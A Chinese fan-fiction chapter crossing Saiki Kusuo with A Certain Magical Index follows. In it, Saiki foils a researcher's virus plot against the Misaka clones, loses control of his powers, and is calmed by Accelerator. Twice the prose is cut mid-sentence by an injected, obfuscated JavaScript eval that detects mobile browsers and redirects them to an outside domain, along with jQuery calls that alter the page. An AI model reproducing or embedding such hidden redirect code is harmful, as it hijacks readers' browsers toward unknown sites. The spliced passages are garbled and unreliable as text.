他与意外亲民——同样选择电车出行方式的第一位先后踏进拥挤的车厢。 拥挤……既然这么形容了,那么结果也无可避免——车辆缓缓启动,人们逐渐落座,剩下的又是个窄小的座位,目测只有一人半宽的那种。 第一位率先坐下,自然地翘起二郎腿。 所谓山不转水转,类似的情景,犹豫不决的人却换成了齐木。一方通行见齐木愣着,反过来示意他,“怎么?为什么不坐?” 「……」齐木是不想坐的。 超能力者没什么主动亲近别人的习惯,这倒不是说他性子淡漠,而这是日常人际交往较为被动的本性的外化表现。而真实的他在丧失强烈的行为目的性之后总是会露出马脚。 换句话说,就是他很难再直球面前保持住惯有的姿态。 但是对比自己在一方通行的殴打下扮演重伤的难度,与把人设拾起来继续演的难度,齐木秒选后者。 「啊,刚才在店里,一方先生看上去不是很愿意的样子。」 “……你原来也会顾及他人感受的啊。” 上位者懂得如何发散自己的情绪,一方通行的嘴角扬起凛冽弧度,泛着如狼般恶劣又张扬的笑,“不算个全须全尾的白痴嘛。” “无所谓。”一方通行回答,“我不是很在乎这种东西。” 「是吗……」表现出困惑眼前人前后反差为何这么大的茫然神情,齐木乖乖坐下。 他们重新贴在一起。 白发少年把脑袋歪支在扶手上,余光描摹出粉发同龄人的面貌。 这张与一方通行见过的千万张脸不同。 第一位生长在黑暗里,成长在黑暗里,见惯了各个年龄段、各个行业的男女老少的脸,那些脸哪怕带着各色面具却都千篇一律地虚伪。一方通行从不惮以最坏的恶意去揣测这座城市里某些人的别有用心,但他到底也没有对位这莫名自来熟的粉发少年的挥手道别嗤之以鼻——虽然他看不清眼前这个生物的真面目到底为何,至少对方不可能如表现的那般坦率、柔软,但可以肯定的是,对方和他迄今为止见到的所有家伙都不一样,算是可以划进“有趣的人”的行列。因而就这么保持现状也无所谓,他,并不讨厌。 电车故障得很是时候,靠窗的第一位被迫花了半个落日的时间,目送齐木楠雄消失在又窄又长小巷的尽头,与这场无厘头的邂逅说再见。 明天之后,学园都市又会恢复成其原有的样子。 - 就像电影里蜘蛛感应所表现的那样,超能力者的灾难预警可是一刻不停地吵闹着要个说法。 号称帮助学生进行能力开发的学园都市实际上只是一个巨大的粉饰着太平的试验场,每个时间点,每个角落里,都会有非人寰的能力实验进行到了不同的阶段。每一分每一秒,都有灵魂在黑暗中痛苦地哀嚎。 齐木楠雄严格意义上并没有所谓的助人情结。 非要说的话,生来即拥有“神之力”的他,在婴儿期学习、认识世界的过程中,就已经对他的降临之地失去了信任。对那些以“非神之躯”企图“造神”的成年人报以的旺盛的厌恶感,使得他自然而然地产生了对学园都市体制近乎与生俱来的叛逆。 因而,他其实算天生反骨。 用齐木空助的话来说,就是“对自己愿望的可实现性的持久信念,发出反抗黑暗势力、标志生命诞生的怒吼”。 超能力者是个很擅长思虑的人,细腻的感情和敏感的洞察力,使得他永远能够轻易地注意到阴谋缔造出来的悲痛。那些同龄的,挣扎着泥沼中的孩子们的尖叫、呼喊彻夜萦绕在他的脑海中。在很小的时候,掀翻这盘烂棋的念头就在他心中迅猛生长,十几年如一日,他被夹在这些日益堆积、压抑的不满和理想乡中仿佛触手可及的未来之间的缝隙里进退两难。 他曾经冒着超能力暴走的风险「记忆篡改」,抹消学园都市的存在,尝试一劳永逸。 但只要人性深处存在欲望,制度就会满足需求应运而生。短则一两日,长则三五年,学园都市计划必然会启动——就好像人类社会发展到了某种程度,旧有的制度和理念无法再满足新生活了一样,时势权力永远恰到好处地诞生。 于是鉴于这样的原因,看起来好像无所不能的他,现在正陷入一种束手无策的困境中。 与一方通行告别后,齐木楠雄来到了学园都市的阴暗地带。 被高墙拦截的隐蔽研究所出入手续万分繁琐,研究员们在构筑“无坚不摧”的堡垒这方面所付出的心力,比在本职工作中的发挥更显得天赋异禀——这确实很有裨益地筛选了相当一批入侵者,但也仅仅是起到对“三脚猫”们的防备作用而已,可拦不住超能力者。 齐木楠雄简单粗暴地一拳轰开大门,只是瞬间,大楼内部的自卫系统便全部报废。 「天井亚雄……是吧。」研究所占地巨大,但他很快找到了目标。 有着阴鸷的让人颇感不舒适的眼神的男人正蜷缩在工作台下瑟瑟发抖,用以自我保护的枪支被扭转成一个不可思议的弧度。 「在人格资料中添加人为的命令文,换句话说就是病毒,妄图通过这种小动作使得御坂网络暴动。将近一万名超能力者在学园都市外同时发动恐怖攻击,无论如何都难以掩盖的密辛——复制人集体造反的消息很快就会名扬海外。」 「我说你们啊,能不能别尽做些让人心烦意燥的事情。虽然我真的很讨厌这里,但是以这种方式给学园都市冠以丑闻,只会滋生出更多的仇恨和痛苦。对立矛盾冲突加剧,世界势力失衡的话,我是会很苦恼的,毕竟要做的事情多了,我可就没办法好好当普通人了你明白吗?」 弄清楚来龙去脉对于超能力者而言如囊中取物,信手拈来。 而对于天井亚雄来说,最为可怕的也正是这一点。眼前的少年的能力超出了他的认知,不需要任何的接触,就能读取他的想法。是基于精神系「个人现实」开发的能力吗?类似于「读心」? 糟糕,他的计划暴露了…… 但是能力是「读心」的话那又怎样?仅仅是知道计划的具体内容是全然不够的,你一方面没有学习装置的演算脚本,另一方面,恶意程式码夹带着假程式码散落在各处,很难完全除去……就凭你? 在得知自己的心声可以被传递给对方后,得意的研究员毫不掩饰地展现自己的恶劣。 但少年似乎并不慌忙,反而露出了一种胜券在握的神情。 「谁说我的能力只是读心?」 只是「读心」?难不成真的有人身上同时存在两种「个人现实」?不,不可能,没有人能够拥有一种以上的「个人现实」,他们这些一线的研究者从未发现。难不成他的能力是某种凌驾于「读心」之上的能力? 天井亚雄在胡乱地猜测着,但少年似乎已经失去了耐心。 他的手中不知何时举起了一根弯折成“7”字型的黄色棍棒。 「答错了。」 「我不是Level4的大能力者,也不是Level5范畴的超能力者。」 「而是无所不能者。」 “香蕉”砸上那颗有着泡面卷绿发的脑袋。 - 抱怨归抱怨,齐木楠雄可不希望自己的平静生活被这些坏心思的研究员打破。他必须要保证学园都市的发展在一条正常的轨道上进行。 走出电脑计算室,抵达一个空旷的建筑物内。面前的金属平台上紧密排列着无数个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088947|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆筒型胶囊,近乎所有的装置都已经停止使用——实验被迫中止后,「妹妹们」被送往世界各地整修,这里便空前地安静下来,连营养液气泡水升腾的咕噜声都听不到。 整个大厅,只有最深处的胶囊还亮着,散发着橙黄色的光。 唯一还在使用的器具包裹着一只小巧、瘦弱的躯干。 「Lastorder」,也就是最终之作,是被制造来当作御坂网络司令塔的存在。 最终之作紧闭着眼睛,小小的身体漂浮在液体之中,看起来似乎过于孱弱,简直可以说是营养不良了,让人不免要怀疑离开这个玻璃器皿她还能否存活。 先帮你强化一下身体好了,毕竟修改程序对现在这具瘦弱的身体而言也是不小的负担。 超能力者把掌心覆上玻璃通过液体传导超能力,骨骼硬度强化,肌肉纤维重组,内脏功能完善……就在强化快要接近尾声的时候,以齐木楠雄的手掌为中心,玻璃罩突然从内侧开始龟裂,碎开的瞬间电流滋滋跑过齐木的身体。 Level3的「缺陷电力」本来根本伤害不到他分毫。前提是电流没有精准地从内部破坏掉头顶的超能力抑制装置。 粉色的发卡应声落地,摔了个稀巴烂——死无全尸。 苏醒过来的最终之作丝毫没有认识到自己无意识的防御机制都做了些什么了不得的大事,扶着碎得七零八落的玻璃罩钻出来。小姑娘浑身都湿漉漉的,连眼睛也是,揉吧揉吧睁开来,一看见齐木楠雄就笑了,“能如此轻松地在培养皿外进行正常的生理活动,多亏了您的帮助,御坂御坂实在是太高兴了忍不住转几圈欣赏一下自己健壮的身体……” “啊,”她露出不好意思的表情,躲到不远处的掩体后,“御坂御坂忘记自己现在正□□了。” 相较于「妹妹们」,最终之作表现得很活泼,完全就是一副邻家女孩的模样,很难说谁更加健全完整。 但这可不是进行这些无用的比较的时候。 齐木楠雄动都不敢动,他依旧保持着超能力抑制器坏掉的那个瞬间的动作,生怕一旦有什么微小的偏差,就会触发能力失控,把这栋大楼震飞……届时,后果不堪设想。 前几年他曾经被燃堂误摘过抑制器,当时肆溢的超能力将大半个学园都市夷为平地。 如果他控制不住暴走的话,最先受害的肯定是—— 齐木连眼珠子都不敢转,他用余光注意着最终之作。 ——眼前这个活蹦乱跳的小姑娘必然是他首要的保护对象。 “快走。” 艰难地从喉咙里挤出两个字的同时,齐木楠雄已经在脑袋里计算好了几万种化解危机的方案。 不管是哪一种,都得先让最终之作撤离。 虽然帮她清除人格中的病毒的目标暂时无法完成,但启用的下下策却并非是将事态推入绝境。待他恢复正常,他即刻动身寻找对方。 然而这个首度走出容器的小孩子有着太过旺盛的求知欲,且其身为复制人似乎也将人类的同情心、同理心全然复刻过来,“为什么?你看上去脸色很不好,需要我的帮助吗?御坂御坂很是担心,真诚发问。” 齐木楠雄只得加重了口气,“让你走你就走!” 话音刚落,头顶错杂的钢管就发出咔嚓咔嚓的即将分崩离析的呻/吟。 最终之作被骇得不自觉后退半步,她有些被眼前的少年喜怒无常的表现吓到,拧着眉满怀茫然与疑虑地凝视了他几眼,权衡之下还是决定离开。 拖着块破布跑出设施没多久,背后的大楼轰然坍塌。 小御坂没敢多停留。 她不知道自己为何想要打破那颗养育她的玻璃胶囊,但潜在意识警醒着她得逃走,越快越好。 至于那个少年…… 最终之作的脑袋里回想起少年最后传递给她的两句话: “等着我。我会去找你。” 她回望废墟,跑进夜色深处。 27. 第二十六章 一方通行没有想到自己能这么快就和那个粉毛白痴再见面。 眼前的少年似乎陷入了未知能力的暴走。 飓风裹挟着飞沙走石成为他的外衣,不容任何人侵犯乃至接近的「个人现实」尽显锋芒,少年拥有着一副沉浸于自我搭建的温床里的平和、宁静的模样……看着对方操纵着无可匹敌的力量于暴风眼中央安然伫立,就像是在向整个世界宣战一样。 一方通行在齐木楠雄的身上看到了过去的自己,不可避免地回想起那一天。 起初,没有人在意蜷缩在学园都市这所巨大牢笼深处的白色野兽,这只不过是一次再寻常不过的能力开发。有天赋的编号“动物”们多了去了,这也只不过是一次「树形图设计者」的日常演算,一台先进器皿的爆炸,一座神秘试验所的消失,直到这场对民众公关为演习的灾难发生,人们才意识到,白色怪物的未来发展走向与学园都市的每个人息息相关。 天上“轰隆隆”作响的各色制空霸主像聒噪的蝗虫,地面装甲车排布有序,有如层峦叠嶂的山峰。 然而眼前的盛大没过多久就被轻易颠覆。可见范围内的建筑都被夷为平地,荒废得犹如末世提早降临。那时还算懵懂的一方通行被特殊部队包围,被迫站在世界中央,早早认识到自己罪恶本源的特质,也早早预见了自己必然走向孤独的生命意识。 “为什么会与一个傻白甜建立些许的关联”“为什么自己下了电车会直奔开发‘绝对能力者进化计划’的研究所”的疑虑得到了解答。 那不是偶然的心血来潮,而是一种必然的相互吸引。 他是一棵等待重新发芽的枯木,在漩涡中挣扎着麻痹自己,不愿堕入一场阴郁的旧梦。现在这棵枯木遇到了一只蝉蛹。一只与他同样的,为图不那么快的腐坏,但却在一次次人造噩梦中溃堤,被劈头盖脸的洪流拽住自我保护步伐的蝉蛹。 隔着障碍对望,明明在此之前没有任何深入的交流,仅有的对话也只是像笨蛋和白痴互呛一样无聊,但这个瞬间,他在学园都市终究是有了第一个不可忽视的牵挂,没有希望的人心里突然多了份痴妄。 一方通行向着暴风中心走去,向着眼前的少年缓缓伸出手。 「矢量操作」多用于攻击,被它伤害的人数不胜数。 但这项能力其实便利到可以通过控制生物电流和电子信号,达到例如战地治疗这样的紧急处理。甚至,经过详实、精密的计算后,甚至可以操纵aim扩散力场,通过皮肤触碰控制能力——也就是矢量的流导方向,使其在一定距离内循环往复。 暴走的矢量受到抵消、降解,以达到最大程度的“融合”,即所谓的“平衡”,最终在自我消耗中有明显降低的断面。 所谓的「削减断面」学说,通俗来讲,就是对暴走的矢量进行镇压。 按道理来说,「削减断面」十分方便管理学生们的能力,很适合用来作为的大人们的玩具,但其耗费的代价实在太高,倒没什么人愿意打这个的主意——「削减断面」目前只有一方通行能做到,而学园都市第一位本人愿不愿意是一回事,能不能闲到当小喽啰做打手又是另外一回事,最重要的是,镇压的方式千万种,大人们最爱的心理博弈可谓是零成本零威胁,又为何要大动干戈地找一位凭借能力就能将暴动者揍得满地找牙的level5?杀鸡焉用牛刀。 因此,一方通行虽然早就知道自己能够做到「削减断面」,但学园都市目前还没有谁能够有殊荣让第一位纡尊降贵为他服务。 齐木楠雄是第一个。 学园都市的第一位先生穿越重重阻碍,无视掉所有的攻击,如期攥住了暴走少年的小臂。 诡异的动作有点像电视节目里男嘉宾走上台牵住女嘉宾的手,观众们即将集体鼓掌庆祝一对新人的诞生;也很像是玛丽苏小说里男主挽留即将外派出国的女主的小心思,可能下一秒就会借着酒意宣誓主权什么的…… 少年的小臂柔软温暖,跳动的血脉下流淌着他难以企及的朝气。那朝气在他苍白、单调的生命面前,就像是一团他无法理解的未知物质。 现在这团未知的物质正在毫不客气地将他吞噬,一厢情愿地为他创作出一个崭新的世界。 时间仿佛静止,「矢量操作」快速地发挥着效用。 空气中弥漫着的灰尘在四下的断井颓垣上铺开过分寡淡的色调,配合着一片死寂,沉下满满的压迫感。一方通行心里盘桓着的难以置信的不安与想要接近的欲望,黑恶遮拢的阴郁与重获新生的欣喜,近乎诡异地互相制衡着。 暴动的力场得以平息,齐木楠雄凝聚起焦距的眼睛澄澈明净。 少年疲累至极,第一句话是—— “不好意思啊,能借手机给我打个电话吗?” - 齐木楠雄的自救计划失败了。那股电流穿透的似乎不仅仅是他的超能力抑制装置,毫无人道地将其恢复成入厂材料,同样也给他的肢体带来了短暂的麻痹,以至于他本该是周密无缝的计算产生了些许的偏差。 而就是这微末的偏差,使得他陷入了不可遏制的暴走,就连意识也消失了一瞬。 清醒过来的时候,就见到了全然在意料之外的人——一方通行。 不难推断,正是眼前的白发少年阻止了自己。 一方通行的眉目生得清秀,红白的对比却平添瑰丽,神情的加成更使得其锋利得具有很强的攻击性,而现在凝视着自己的目光过分深重,于是便让他那苍白面容多了点儿诡异的忧郁气质。齐木楠雄该死地想,如果对方能够安然长大,大概会长成一个秉性着纯粹自我的浪漫主义的诗人,不消就读长点上机这样的名校,也不消成为大人眼中的所谓精英,但凭这张脸这样的气质,就已经够招蜂引蝶的了,到时候不知道多少小姑娘追在后面跑。 然而极端的童年经历使得他身上披挂起的沉寂揉碎了五官所生发出的亲近感,凛然的面部线条透露出倨傲、冷酷的意味——他一直以这样的面目示人,故意拉开距离,或是为了保护自己,或是为了保护他人。 在齐木楠雄看来,学园都市的第一位本身像是一块被浓雾包裹的神秘领域。而现在,这块神秘领域重现人间,天光穿透密匝云层,浓雾散开,主动让一位陌生人触及到这片被雪覆盖的大地。 这片雪原存在于黑暗中太久了,一方通行接受黑暗,习惯了黑暗,却不曾埋没于黑暗。他向往阳光,哪怕阳光注定把他烤灼得遍体鳞伤——太过靠近太阳定然会招致毁灭,但他从未丧失渴望。学园都市的第一位总是给人一种“被自尊塞满所有的毛孔,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088948|179627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是外显出凶神恶煞、嚣张跋扈的秉性”的错觉,实际上眼前形体孱弱的白发少年其实人如其表,虽然张牙舞爪地发誓自己要站上学园都市之巅,但实际上却是个会为了别人付诸的微末善意立马抛弃所有的负担,疯狂透支自己的利他主义者。 在他发出了求救信号后,被世人误解太多的学园都市第一位仅仅是露出一副“这都什么时候了你还要打电话回家报平安吗”的微妙表情,便毫不犹豫地掏出了自己的手机。 磨砂材质的手机壳捏在手里舒适又清凉。不得不说,物如其人。 首要的通话对象齐木空助失联中,齐木楠雄只能退而求其次地打电话回家,诉说了从能力失控到能力暂时得以控制的来龙去脉后,请求父母帮忙转告一下。由于拿到超能力抑制器的期限在此基础之上无限延长,他顺便在通话的最后表达了自己今晚不回去了的意愿。 “我得去他家过一宿。” 这个他,自然指的是一方通行。关于一方通行「削减断面」的原理,他已经简略化了说给父母听。 至于他们听不听得懂,又是另外一回事了。 当然,笨蛋夫妇的重点从来不会是这些东西。 在久留美女士“啊呀小楠居然交到新朋友了”的蜜汁欣喜和国春先生“居然又有一个人能够容忍我们小楠的臭脾气了”的欠揍发言中,他再度重申了一下自己的核心观点,“能力失控的事,不要让秋上知道。……就说我要和朋友通宵看电影。” 秋上是铃科夏上自取的假名。听到这个假名的瞬间,齐木楠雄就忍不了了:你爸我取的名字不要比你取的优秀太多好吗?虽然可能取名时的用意很简单,但最起码听觉效果很好诶! 掐了电话,还记得自己傻白甜人设的齐木楠雄交还手机,神情自若,“谢谢。我们现在能回你家了吗?” 同时还不忘很不看脸色地评点一句,“你好像需要交话费了。” 学园都市的第一位还没从对方“行走的抑制剂”这种简单粗暴的形容中走出来,猝不及防听到对方如此毫不客气的要求,干脆气笑了,“你还真是够自我的。” 粉发少年的眼里透露出一丝不明所以,“我以为我们已经是朋友了。” “还很自来熟。”一方通行补充道。 三两句的交锋,他其实已经有些拿捏住对方的性格了。看似是纯善的傻白甜,实则总是在用最无辜的语气说最无辜的话,听上去总是在退而求此次,很注重别人的感受来着,其实每一句话都是在为自己服务。 扮猪吃老虎这方面真是驾轻就熟。 “不然你为什么帮我呢?”齐木楠雄反问。但是不等一方通行说话,他就擅自回答了,“不过除了你,也没人会帮我吧,他们都帮不了我。” 超能力者当然清楚自己装疯卖傻的本事,他也很注意尺度。 但这句话,完全是由衷的、真诚的。 意外的,他在第一位的脸上看到了……动容? 齐木楠雄不知道自己形容得恰不恰当,一方面他是有意不看人脸色好塑造自己蠢货的人物形象,另外一方面,由于太过依赖于超能力,当「心灵感应」无法发挥应有作用的时候,他揣摩人心理的能力和白痴真的差不多。 但雪, 似乎正在融化。